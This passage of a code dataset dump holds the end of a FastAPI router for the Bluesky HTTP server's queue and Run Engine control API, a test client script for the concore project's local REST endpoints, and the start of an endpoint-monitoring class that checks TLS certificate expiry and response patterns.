SR.RM.item_execute(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/item/add/batch\")\nasync def queue_item_add_batch_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:queue:edit\"]),\n settings: BaseSettings = Depends(get_settings),\n api_access_manager=Depends(get_api_access_manager),\n resource_access_manager=Depends(get_resource_access_manager),\n):\n \"\"\"\n Adds new plan to the queue\n \"\"\"\n try:\n username = get_current_username(\n principal=principal, settings=settings, api_access_manager=api_access_manager\n )[0]\n displayed_name = api_access_manager.get_displayed_user_name(username)\n user_group = resource_access_manager.get_resource_group(username)\n payload.update({\"user\": displayed_name, \"user_group\": user_group})\n\n if \"items\" not in payload:\n # We can not use API, so let the server handle the parameters\n msg = await SR.RM.send_request(method=\"queue_item_add_batch\", params=payload)\n else:\n msg = await SR.RM.item_add_batch(**payload)\n except Exception:\n process_exception()\n\n return msg\n\n\n@router.post(\"/queue/upload/spreadsheet\")\nasync def queue_upload_spreadsheet(\n spreadsheet: UploadFile = File(...),\n data_type: Optional[str] = Form(None),\n principal=Security(get_current_principal, scopes=[\"write:queue:edit\"]),\n settings: BaseSettings = Depends(get_settings),\n api_access_manager=Depends(get_api_access_manager),\n resource_access_manager=Depends(get_resource_access_manager),\n):\n \"\"\"\n The endpoint receives uploaded spreadsheet, converts it to the list of plans and adds\n the plans to the queue.\n\n Parameters\n ----------\n spreadsheet : File\n uploaded excel file\n data_type : str\n user defined spreadsheet type, which determines which processing function is used to\n process the spreadsheet.\n\n Returns\n -------\n success : boolean\n Indicates if the spreadsheet was successfully converted to a sequence of plans.\n ``True`` value does not indicate that the plans were accepted by the RE Manager and\n successfully added to the queue.\n msg : str\n Error message in case of failure to process the spreadsheet\n item_list : list(dict)\n The list of parameter dictionaries returned by RE Manager in response to requests\n to add each plan in the list. Check ``success`` parameter in each dictionary to\n see if the plan was accepted and ``msg`` parameter for an error message in case\n the plan was rejected. The list may be empty if the spreadsheet contains no items\n or processing of the spreadsheet failed.\n \"\"\"\n try:\n # Create fully functional file object. The file object returned by FastAPI is not fully functional.\n f = io.BytesIO(spreadsheet.file.read())\n # File name is also passed to the processing function (may be useful in user created\n # processing code, since processing may differ based on extension or file name)\n f_name = spreadsheet.filename\n logger.info(f\"Spreadsheet file '{f_name}' was uploaded\")\n\n # Determine which processing function should be used\n item_list = []\n processed = False\n\n # Select custom module from the list of loaded modules\n custom_module = None\n for module in SR.custom_code_modules:\n if \"spreadsheet_to_plan_list\" in module.__dict__:\n custom_module = module\n break\n\n username = get_current_username(\n principal=principal, settings=settings, api_access_manager=api_access_manager\n )[0]\n displayed_name = api_access_manager.get_displayed_user_name(username)\n user_group = resource_access_manager.get_resource_group(username)\n\n if custom_module:\n logger.info(\"Processing spreadsheet using function from external module ...\")\n # Try applying the custom processing function. Some additional useful data is passed to\n # the function. Unnecessary parameters can be ignored.\n item_list = custom_module.spreadsheet_to_plan_list(\n spreadsheet_file=f, file_name=f_name, data_type=data_type, user=username\n )\n # The function is expected to return None if it rejects the file (based on 'data_type').\n # Then try to apply the default processing function.\n processed = item_list is not None\n\n if not processed:\n # Apply default spreadsheet processing function.\n logger.info(\"Processing spreadsheet using default function ...\")\n item_list = spreadsheet_to_plan_list(\n spreadsheet_file=f, file_name=f_name, data_type=data_type, user=username\n )\n\n if item_list is None:\n raise RuntimeError(\"Failed to process the spreadsheet: unsupported data type or format\")\n\n # Since 'item_list' may be returned by user defined functions, verify the type of the list.\n if not isinstance(item_list, (tuple, list)):\n raise ValueError(\n f\"Spreadsheet processing function returned value of '{type(item_list)}' \"\n f\"type instead of 'list' or 'tuple'\"\n )\n\n # Ensure, that 'item_list' is sent as a list\n item_list = list(item_list)\n\n # Set item type for all items that don't have item type already set (item list may contain\n # instructions, but it is responsibility of the user to set item types correctly.\n # By default an item is considered a plan.\n for item in item_list:\n if \"item_type\" not in item:\n item[\"item_type\"] = \"plan\"\n\n logger.debug(\"The following plans were created: %s\", pprint.pformat(item_list))\n except Exception as ex:\n msg = {\"success\": False, \"msg\": str(ex), \"items\": [], \"results\": []}\n else:\n try:\n params = {\"user\": displayed_name, \"user_group\": user_group}\n params[\"items\"] = item_list\n msg = await SR.RM.item_add_batch(**params)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/item/update\")\nasync def queue_item_update_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:queue:edit\"]),\n settings: BaseSettings = Depends(get_settings),\n api_access_manager=Depends(get_api_access_manager),\n resource_access_manager=Depends(get_resource_access_manager),\n):\n \"\"\"\n Update existing plan in the queue\n \"\"\"\n try:\n username = get_current_username(\n principal=principal, settings=settings, api_access_manager=api_access_manager\n )[0]\n displayed_name = api_access_manager.get_displayed_user_name(username)\n user_group = resource_access_manager.get_resource_group(username)\n payload.update({\"user\": displayed_name, \"user_group\": user_group})\n\n msg = await SR.RM.item_update(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/item/remove\")\nasync def queue_item_remove_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:queue:edit\"]),\n):\n \"\"\"\n Remove plan from the queue\n \"\"\"\n try:\n msg = await SR.RM.item_remove(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/item/remove/batch\")\nasync def queue_item_remove_batch_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:queue:edit\"]),\n):\n \"\"\"\n Remove a batch of plans from the queue\n \"\"\"\n try:\n if \"uids\" not in payload:\n # We can not use API, so let the server handle the parameters\n msg = await SR.RM.send_request(method=\"queue_item_remove_batch\", params=payload)\n else:\n msg = await SR.RM.item_remove_batch(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/item/move\")\nasync def queue_item_move_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:queue:edit\"]),\n):\n \"\"\"\n Move plan in the queue\n \"\"\"\n try:\n msg = await SR.RM.item_move(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/queue/item/move/batch\")\nasync def queue_item_move_batch_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:queue:edit\"]),\n):\n \"\"\"\n Move a batch of plans in the queue\n \"\"\"\n try:\n msg = await SR.RM.item_move_batch(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/queue/item/get\")\nasync def queue_item_get_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"read:queue\"])\n):\n \"\"\"\n Get a plan from the queue\n \"\"\"\n try:\n msg = await SR.RM.item_get(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/history/get\")\nasync def history_get_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"read:history\"])\n):\n \"\"\"\n Returns the plan history (list of dicts).\n \"\"\"\n try:\n msg = await SR.RM.history_get(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/history/clear\")\nasync def history_clear_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:history:edit\"])\n):\n \"\"\"\n Clear plan history.\n \"\"\"\n try:\n msg = await SR.RM.history_clear(**payload)\n except Exception:\n process_exception()\n\n return msg\n\n\n@router.post(\"/environment/open\")\nasync def environment_open_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:manager:control\"])\n):\n \"\"\"\n Creates RE environment: creates RE Worker process, starts and configures Run Engine.\n \"\"\"\n try:\n msg = await SR.RM.environment_open(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/environment/close\")\nasync def environment_close_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:manager:control\"])\n):\n \"\"\"\n Orderly closes of RE environment. The command returns success only if no plan is running,\n i.e. RE Manager is in the idle state. The command is rejected if a plan is running.\n \"\"\"\n try:\n msg = await SR.RM.environment_close(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/environment/destroy\")\nasync def environment_destroy_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:manager:control\"])\n):\n \"\"\"\n Destroys RE environment by killing RE Worker process. This is a last resort command which\n should be made available only to expert level users.\n \"\"\"\n try:\n msg = await SR.RM.environment_destroy(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/environment/update\")\nasync def environment_update_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:queue:control\"])\n):\n \"\"\"\n Updates RE environment cache.\n \"\"\"\n try:\n msg = await SR.RM.environment_update(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/re/pause\")\nasync def re_pause_handler(\n payload: dict = {},\n principal=Security(get_current_principal, scopes=[\"write:plan:control\"]),\n):\n \"\"\"\n Pause Run Engine.\n \"\"\"\n try:\n msg = await SR.RM.re_pause(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/re/resume\")\nasync def re_resume_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:plan:control\"])\n):\n \"\"\"\n Run Engine: resume execution of a paused plan\n \"\"\"\n try:\n msg = await SR.RM.re_resume(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/re/stop\")\nasync def re_stop_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:plan:control\"])\n):\n \"\"\"\n Run Engine: stop execution of a paused plan\n \"\"\"\n try:\n msg = await SR.RM.re_stop(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/re/abort\")\nasync def re_abort_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:plan:control\"])\n):\n \"\"\"\n Run Engine: abort execution of a paused plan\n \"\"\"\n try:\n msg = await SR.RM.re_abort(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/re/halt\")\nasync def re_halt_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:plan:control\"])\n):\n \"\"\"\n Run Engine: halt execution of a paused plan\n \"\"\"\n try:\n msg = await SR.RM.re_halt(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/re/runs\")\nasync def re_runs_handler(payload: dict = {}, principal=Security(get_current_principal, scopes=[\"read:monitor\"])):\n \"\"\"\n Run Engine: download the list of active, open or closed runs (runs that were opened\n during execution of the currently running plan and combines the subsets of 'open' and\n 'closed' runs.) The parameter ``options`` is used to select the category of runs\n (``'active'``, ``'open'`` or ``'closed'``). By default the API returns the active runs.\n \"\"\"\n try:\n msg = await SR.RM.re_runs(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/re/runs/active\")\nasync def re_runs_active_handler(principal=Security(get_current_principal, scopes=[\"read:monitor\"])):\n \"\"\"\n Run Engine: download the list of active runs (runs that were opened during execution of\n the currently running plan and combines the subsets of 'open' and 'closed' runs.)\n \"\"\"\n try:\n params = {\"option\": \"active\"}\n msg = await SR.RM.re_runs(**params)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/re/runs/open\")\nasync def re_runs_open_handler(principal=Security(get_current_principal, scopes=[\"read:monitor\"])):\n \"\"\"\n Run Engine: download the subset of active runs that includes runs that were open, but not yet closed.\n \"\"\"\n try:\n params = {\"option\": \"open\"}\n msg = await SR.RM.re_runs(**params)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/re/runs/closed\")\nasync def re_runs_closed_handler(principal=Security(get_current_principal, scopes=[\"read:monitor\"])):\n \"\"\"\n Run Engine: download the subset of active runs that includes runs that were already closed.\n \"\"\"\n try:\n params = {\"option\": \"closed\"}\n msg = await SR.RM.re_runs(**params)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/plans/allowed\")\nasync def plans_allowed_handler(\n payload: dict = {},\n principal=Security(get_current_principal, scopes=[\"read:resources\"]),\n settings: BaseSettings = Depends(get_settings),\n api_access_manager=Depends(get_api_access_manager),\n resource_access_manager=Depends(get_resource_access_manager),\n):\n \"\"\"\n Returns the lists of allowed plans. If boolean optional parameter ``reduced``\n is ``True``(default value is ``False`), then simplify plan descriptions before\n calling the API.\n \"\"\"\n\n try:\n validate_payload_keys(payload, optional_keys=[\"reduced\"])\n\n username = get_current_username(\n principal=principal, settings=settings, api_access_manager=api_access_manager\n )[0]\n user_group = resource_access_manager.get_resource_group(username)\n\n if \"reduced\" in payload:\n reduced = payload[\"reduced\"]\n del payload[\"reduced\"]\n else:\n reduced = False\n payload.update({\"user_group\": user_group})\n\n msg = await SR.RM.plans_allowed(**payload)\n if reduced and (\"plans_allowed\" in msg):\n msg[\"plans_allowed\"] = simplify_plan_descriptions(msg[\"plans_allowed\"])\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/devices/allowed\")\nasync def devices_allowed_handler(\n payload: dict = {},\n principal=Security(get_current_principal, scopes=[\"read:resources\"]),\n settings: BaseSettings = Depends(get_settings),\n api_access_manager=Depends(get_api_access_manager),\n resource_access_manager=Depends(get_resource_access_manager),\n):\n \"\"\"\n Returns the lists of allowed devices.\n \"\"\"\n try:\n username = get_current_username(\n principal=principal, settings=settings, api_access_manager=api_access_manager\n )[0]\n user_group = resource_access_manager.get_resource_group(username)\n\n payload.update({\"user_group\": user_group})\n\n msg = await SR.RM.devices_allowed(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/plans/existing\")\nasync def plans_existing_handler(\n payload: dict = {},\n):\n \"\"\"\n Returns the lists of existing plans. If boolean optional parameter ``reduced``\n is ``True``(default value is ``False`), then simplify plan descriptions before\n calling the API.\n \"\"\"\n try:\n validate_payload_keys(payload, optional_keys=[\"reduced\"])\n\n if \"reduced\" in payload:\n reduced = payload[\"reduced\"]\n del payload[\"reduced\"]\n else:\n reduced = False\n\n msg = await SR.RM.plans_existing(**payload)\n if reduced and (\"plans_existing\" in msg):\n msg[\"plans_existing\"] = simplify_plan_descriptions(msg[\"plans_existing\"])\n except Exception:\n process_exception()\n\n return msg\n\n\n@router.get(\"/devices/existing\")\nasync def devices_existing_handler(\n payload: dict = {},\n principal=Security(get_current_principal, scopes=[\"read:resources\"]),\n):\n \"\"\"\n Returns the lists of existing devices.\n \"\"\"\n try:\n msg = await SR.RM.devices_existing(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/permissions/reload\")\nasync def permissions_reload_handler(\n payload: dict = {},\n principal=Security(get_current_principal, scopes=[\"write:config\"]),\n):\n \"\"\"\n Reloads the list of allowed plans and devices and user group permission from the default location\n or location set using command line parameters of RE Manager. Use this request to reload the data\n if the respective files were changed on disk.\n \"\"\"\n try:\n msg = await SR.RM.permissions_reload(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/permissions/get\")\nasync def permissions_get_handler(principal=Security(get_current_principal, scopes=[\"read:config\"])):\n \"\"\"\n Download the dictionary of user group permissions.\n \"\"\"\n try:\n msg = await SR.RM.permissions_get()\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/permissions/set\")\nasync def permissions_set_handler(\n payload: dict, principal=Security(get_current_principal, scopes=[\"write:permissions\", \"write:permissions\"])\n):\n \"\"\"\n Upload the dictionary of user group permissions (parameter: ``user_group_permissions``).\n \"\"\"\n try:\n if \"user_group_permissions\" not in payload:\n # We can not use API, so let the server handle the parameters\n msg = await SR.RM.send_request(method=\"permissions_set\", params=payload)\n else:\n msg = await SR.RM.permissions_set(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/function/execute\")\nasync def function_execute_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:execute\"]),\n settings: BaseSettings = Depends(get_settings),\n api_access_manager=Depends(get_api_access_manager),\n resource_access_manager=Depends(get_resource_access_manager),\n):\n \"\"\"\n Execute function defined in startup scripts in RE Worker environment.\n \"\"\"\n try:\n username = get_current_username(\n principal=principal, settings=settings, api_access_manager=api_access_manager\n )[0]\n displayed_name = api_access_manager.get_displayed_user_name(username)\n user_group = resource_access_manager.get_resource_group(username)\n payload.update({\"user\": displayed_name, \"user_group\": user_group})\n\n if \"item\" not in payload:\n # We can not use API, so let the server handle the parameters\n msg = await SR.RM.send_request(method=\"function_execute\", params=payload)\n else:\n msg = await SR.RM.function_execute(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/script/upload\")\nasync def script_upload_handler(\n payload: dict, principal=Security(get_current_principal, scopes=[\"write:scripts\"])\n):\n \"\"\"\n Upload and execute script in RE Worker environment.\n \"\"\"\n try:\n if \"script\" not in payload:\n # We can not use API, so let the server handle the parameters\n msg = await SR.RM.send_request(method=\"script_upload\", params=payload)\n else:\n msg = await SR.RM.script_upload(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/task/status\")\nasync def task_status(payload: dict, principal=Security(get_current_principal, scopes=[\"read:monitor\"])):\n \"\"\"\n Return status of one or more running tasks.\n \"\"\"\n try:\n if \"task_uid\" not in payload:\n # We can not use API, so let the server handle the parameters\n msg = await SR.RM.send_request(method=\"task_status\", params=payload)\n else:\n msg = await SR.RM.task_status(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/task/result\")\nasync def task_result(payload: dict, principal=Security(get_current_principal, scopes=[\"read:monitor\"])):\n \"\"\"\n Return result of execution of a running or completed task.\n \"\"\"\n try:\n if \"task_uid\" not in payload:\n # We can not use API, so let the server handle the parameters\n msg = await SR.RM.send_request(method=\"task_result\", params=payload)\n else:\n msg = await SR.RM.task_result(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/kernel/interrupt\")\nasync def kernel_interrupt_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:queue:control\"])\n):\n \"\"\"\n Interrupt IPython kernel.\n \"\"\"\n try:\n msg = await SR.RM.kernel_interrupt(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/lock\")\nasync def lock_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:lock\"]),\n settings: BaseSettings = Depends(get_settings),\n api_access_manager=Depends(get_api_access_manager),\n):\n \"\"\"\n Lock RE Manager.\n \"\"\"\n try:\n username = get_current_username(\n principal=principal, settings=settings, api_access_manager=api_access_manager\n )[0]\n displayed_name = api_access_manager.get_displayed_user_name(username)\n payload.update({\"user\": displayed_name})\n\n msg = await SR.RM.lock(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/unlock\")\nasync def unlock_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"write:lock\"]),\n):\n \"\"\"\n Unlock RE Manager.\n \"\"\"\n try:\n msg = await SR.RM.unlock(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/lock/info\")\nasync def lock_info_handler(\n payload: dict,\n principal=Security(get_current_principal, scopes=[\"read:lock\"]),\n):\n \"\"\"\n Unlock RE Manager.\n \"\"\"\n try:\n msg = await SR.RM.lock_info(**payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/manager/stop\")\nasync def manager_stop_handler(\n payload: dict = {}, principal=Security(get_current_principal, scopes=[\"write:manager:stop\"])\n):\n \"\"\"\n Stops of RE Manager. RE Manager will not be restarted after it is stoped.\n \"\"\"\n try:\n msg = await SR.RM.send_request(method=\"manager_stop\", params=payload)\n except Exception:\n process_exception()\n return msg\n\n\n@router.post(\"/test/manager/kill\")\nasync def test_manager_kill_handler(principal=Security(get_current_principal, scopes=[\"write:testing\"])):\n \"\"\"\n The command stops event loop of RE Manager process. Used for testing of RE Manager\n stability and handling of communication timeouts.\n \"\"\"\n try:\n msg = await SR.RM.send_request(method=\"manager_kill\")\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/test/server/sleep\")\nasync def test_server_sleep_handler(\n payload: dict, principal=Security(get_current_principal, scopes=[\"read:testing\"])\n):\n \"\"\"\n The API is intended for testing how the client applications and API libraries handle timeouts.\n The handler waits for the requested number of seconds and then returns the message indicating success.\n The API call is safe, since it does not block the event loop or calls to RE Manager\n \"\"\"\n try:\n if \"time\" not in payload:\n raise IndexError(f\"The required parameter 'time' is missing in the API call: {payload}\")\n sleep_time = payload[\"time\"]\n await asyncio.sleep(sleep_time)\n msg = {\"success\": True, \"msg\": \"\"}\n except Exception:\n process_exception()\n return msg\n\n\n@router.get(\"/stream_console_output\")\ndef stream_console_output(principal=Security(get_current_principal, scopes=[\"read:console\"])):\n queues_set = SR.console_output_loader.queues_set\n stm = ConsoleOutputEventStream(queues_set=queues_set)\n sr = StreamingResponseFromClass(stm, media_type=\"text/plain\")\n return sr\n\n\n@router.get(\"/console_output\")\nasync def console_output(payload: dict = {}, principal=Security(get_current_principal, scopes=[\"read:console\"])):\n try:\n n_lines = payload.get(\"nlines\", 200)\n text = await SR.console_output_loader.get_text_buffer(n_lines)\n except Exception:\n process_exception()\n\n # Add 'success' and 'msg' so that the API is compatible with other QServer API.\n return {\"success\": True, \"msg\": \"\", \"text\": text}\n\n\n@router.get(\"/console_output/uid\")\ndef console_output_uid(principal=Security(get_current_principal, scopes=[\"read:console\"])):\n \"\"\"\n UID of the text buffer. Use with ``console_output`` API.\n \"\"\"\n try:\n uid = SR.console_output_loader.text_buffer_uid\n except Exception:\n process_exception()\n return {\"success\": True, \"msg\": \"\", \"console_output_uid\": uid}\n\n\n@router.get(\"/console_output_update\")\ndef console_output_update(payload: dict, principal=Security(get_current_principal, scopes=[\"read:console\"])):\n \"\"\"\n Download the list of new messages that were accumulated at the server. The API\n accepts a required parameter ``last_msg_uid`` with UID of the last downloaded message.\n If the UID is not found in the buffer, an empty message list and valid UID is\n returned. If UID is ``\"ALL\"``, then all accumulated messages in the buffer is\n returned. If UID is found in the buffer, then the list of new messages is returned.\n\n At the client: initialize the system by sending request with ``last_msg_uid`` set\n to random string or ``\"ALL\"``. In each request use ``last_msg_uid`` returned by the previous\n request to download new messages.\n \"\"\"\n try:\n validate_payload_keys(payload, required_keys=[\"last_msg_uid\"])\n\n response = SR.console_output_loader.get_new_msgs(last_msg_uid=payload[\"last_msg_uid\"])\n # Add 'success' and 'msg' so that the API is compatible with other QServer API.\n response.update({\"success\": True, \"msg\": \"\"})\n except Exception:\n process_exception()\n\n return response\n","repo_name":"bluesky/bluesky-httpserver","sub_path":"bluesky_httpserver/routers/core_api.py","file_name":"core_api.py","file_ext":"py","file_size_in_byte":35565,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"24665754132","text":"from cgi import test\r\nimport requests\r\nimport os\r\nimport urllib.request\r\nimport time\r\n\r\n# function to test upload() method.\r\n\r\ndef upload(files):\r\n url = \"http://127.0.0.1:5000/upload/test?apikey=xyz\"\r\n payload={}\r\n headers = {}\r\n response = requests.request(\"POST\", url, headers=headers, data=payload, files=files)\r\n print(response.text)\r\n\r\n# # *******\r\n\r\n# function to check build\r\ndef build(dir, graphml, outdir, apikey):\r\n url = \"http://127.0.0.1:5000/build/\"+dir+\"?\"+\"fetch=\"+graphml+\"&\"+\"outdir=\"+outdir+\"&\"+\"apikey=\"+apikey\r\n response = requests.request(\"POST\", url)\r\n print(response.text)\r\n\r\n# function to debug\r\ndef debug(graphml, apikey):\r\n url = \"http://127.0.0.1:5000/debug/\"+graphml+\"?\"+\"apikey=\"+apikey\r\n response = requests.request(\"POST\", url)\r\n print(response.text) \r\n\r\n# function to test run() method.\r\ndef run(graphml, apikey):\r\n url = \"http://127.0.0.1:5000/run/\"+graphml+\"?\"+\"apikey=\"+apikey\r\n response = requests.request(\"POST\", url)\r\n print(response.text)\r\n\r\ndef clear(graphml, apikey):\r\n url = \"http://127.0.0.1:5000/clear/\"+graphml+\"?\"+\"apikey=\"+apikey\r\n response = requests.request(\"POST\", url)\r\n print(response.text)\r\n\r\ndef stop(graphml, apikey):\r\n url = \"http://127.0.0.1:5000/stop/\"+graphml+\"?\"+\"apikey=\"+apikey\r\n response = requests.request(\"POST\", url)\r\n print(response.text) \r\n\r\n#function to destroy dir.\r\ndef destroy(dir, apikey):\r\n url = \"http://127.0.0.1:5000/destroy/\" + dir+\"?\"+\"apikey=\"+apikey\r\n response = requests.request(\"DELETE\", url)\r\n\r\n print(response.text) \r\n \r\ndef getFilesList(apikey, dir, sub_dir = \"\"):\r\n url = \"http://127.0.0.1:5000/getFilesList/\" + dir + \"?\"+\"fetch=\"+sub_dir+\"&\"+\"apikey=\"+apikey\r\n response = requests.request(\"POST\", url)\r\n print(response.text) \r\n\r\ndef openJupyter():\r\n url = \"http://127.0.0.1:5000/openJupyter\"\r\n response = requests.request(\"POST\", url)\r\n print(response.text)\r\n\r\n# function to test download() method.\r\ndef download(dir, subDir, fileName , apikey ):\r\n url = \"http://127.0.0.1:5000/download/\"+dir+\"?\"+\"fetchDir=\"+subDir+\"&\"+\"fetch=\"+ fileName+\"&\"+\"apikey=\"+apikey\r\n urllib.request.urlretrieve(url, fileName)\r\n\r\n# file list to be uploaded\r\ncur_path = os.path.dirname(os.path.abspath(__file__))\r\ndemo_path = os.path.abspath(os.path.join(cur_path, '../demo'))\r\nfile_name1 = \"controller.py\"\r\nfile_name2 = \"pm.py\"\r\nfile_name3 = \"sample.graphml\"\r\npath_file1 = demo_path + \"/\" +file_name1\r\npath_file2 = demo_path + \"/\" +file_name2\r\npath_file3 = demo_path + \"/\" +file_name3\r\nfiles=[\r\n #('files[]',(file_name,open(file_path,'rb'),'application/octet-stream'))\r\n ('files[]',(file_name1,open(path_file1,'rb'),'application/octet-stream')),\r\n ('files[]',(file_name2,open(path_file2,'rb'),'application/octet-stream')),\r\n ('files[]',(file_name3,open(path_file3,'rb'),'application/octet-stream')),\r\n]\r\n\r\nupload(files)\r\ntime.sleep(2)\r\nbuild(\"test\", \"sample\", \"sample-anyname\", \"xyz\")\r\ntime.sleep(6)\r\nmethod = int(input(\"methods - 1 for debug, 0 for run :\"))\r\nif method == 1:\r\n debug(\"sample-anyname\", \"xyz\")\r\nelse: \r\n run(\"sample-anyname\", \"xyz\")\r\ntime.sleep(2) \r\nstop(\"sample-anyname\", \"xyz\")\r\ntime.sleep(2) \r\ngetFilesList(\"xyz\", \"sample-anyname\", \"CU\")\r\ngetFilesList(\"xyz\",\"sample-anyname\", \"PYM\") \r\ntime.sleep(5)\r\ndownload(\"sample-anyname\", \"CU\", \"u\", \"xyz\")\r\nclear(\"sample-anyname\", \"xyz\")\r\ndestroy(\"sample-anyname\", \"xyz\")\r\nopenJupyter()\r\n","repo_name":"ControlCore-Project/concore","sub_path":"fri/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"5927768275","text":"import ssl\nimport socket\nimport logging\nimport time\nimport threading\nimport re\nfrom endpoint import Endpoint\nfrom response import Response\nfrom datetime import datetime\nimport requests\nfrom urllib.parse import urlparse\n\n\nclass Interval:\n \"\"\"Responsible for requesting the endpoint and recording the response\"\"\"\n\n def __init__(self, endpoint: Endpoint) -> None:\n self.logger = logging.getLogger(__name__)\n self.endpoint = endpoint\n self.intervalMs = endpoint.intervalMs / 1000.0\n self.stopped = False\n self.timer = None\n\n @staticmethod\n def extract_hostname(url):\n parsed_url = urlparse(url)\n return parsed_url.hostname\n\n @staticmethod\n def get_certificate_expiration_date(hostname, port=443):\n \"\"\"\"\"\"\n context = ssl.create_default_context()\n conn = context.wrap_socket(\n socket.socket(socket.AF_INET), server_hostname=hostname\n )\n conn.settimeout(5.0)\n conn.connect((hostname, port))\n cert = conn.getpeercert()\n conn.close()\n\n expiry_date = datetime.strptime(cert[\"notAfter\"], r\"%b %d %H:%M:%S %Y %Z\")\n return expiry_date\n\n def matcher(self, response: str, regex: str) -> bool:\n # Convert the pattern string to a raw string\n pattern = re.compile(regex)\n\n # Search for the pattern in the response text\n match = re.search(pattern, response)\n\n # Check if the pattern was found\n if match:\n self.logger.info({\"message\": \"Pattern found\", \"match\": match.group(0)})\n return True\n else:\n self.logger.warning(f\"Pattern '{regex}' not found in the response\")\n return False\n\n def stop(self):\n self.stopped = True\n if self.timer:\n self.timer.cancel()\n\n def start(self) -> Response:\n self.ping()\n # if not stopped, start the timer again\n if not self.stopped:\n self.timer = threading.Timer(self.intervalMs, self.start)\n self.timer.start()\n\n def ping(self) -> Response:\n self.logger.info(\n {\n \"message\": \"Interval started\",\n \"name\": self.endpoint.name,\n }\n )\n\n endpoint_response = Response(\n name=self.endpoint.name,\n url=self.endpoint.url,\n timestamp=int(time.time()),\n status=-1,\n elapsedMs=0,\n expiry_date=\"UNCHECKED\",\n regex_match=None,\n tags=self.endpoint.tags,\n verb=self.endpoint.verb,\n )\n\n # check the certificate expiration\n if self.endpoint.check_certificate_expiration:\n try:\n hostname = self.extract_hostname(self.endpoint.url)\n expiry_date = self.get_certificate_expiration_date(hostname)\n endpoint_response.expiry_date = expiry_date.strftime(\"%Y-%m-%d\")\n except Exception as e:\n self.logger.error(\n f\"An error occurred while checking the certificate: {e}\", e\n )\n endpoint_response.expiry_date = \"ERROR\"\n\n try:\n timeout = max(int(self.endpoint.timeoutMs / 1000.0), 1)\n tic = time.perf_counter()\n response = requests.get(self.endpoint.url, timeout=timeout)\n toc = time.perf_counter()\n endpoint_response.elapsedMs = (toc - tic) * 1000.0\n\n response.raise_for_status()\n endpoint_response.status = response.status_code\n\n # check the regex\n endpoint_response.regex_match = self.matcher(\n response.text, self.endpoint.regex\n )\n\n except requests.exceptions.Timeout as e:\n self.logger.warning(f\"Request timed out after {timeout} seconds\", e)\n endpoint_response.status = 999\n except requests.exceptions.HTTPError as e:\n self.logger.error(f\"An HTTP error occurred: {e}\", e)\n endpoint_response.status = response.status_code\n except requests.exceptions.RequestException as e:\n 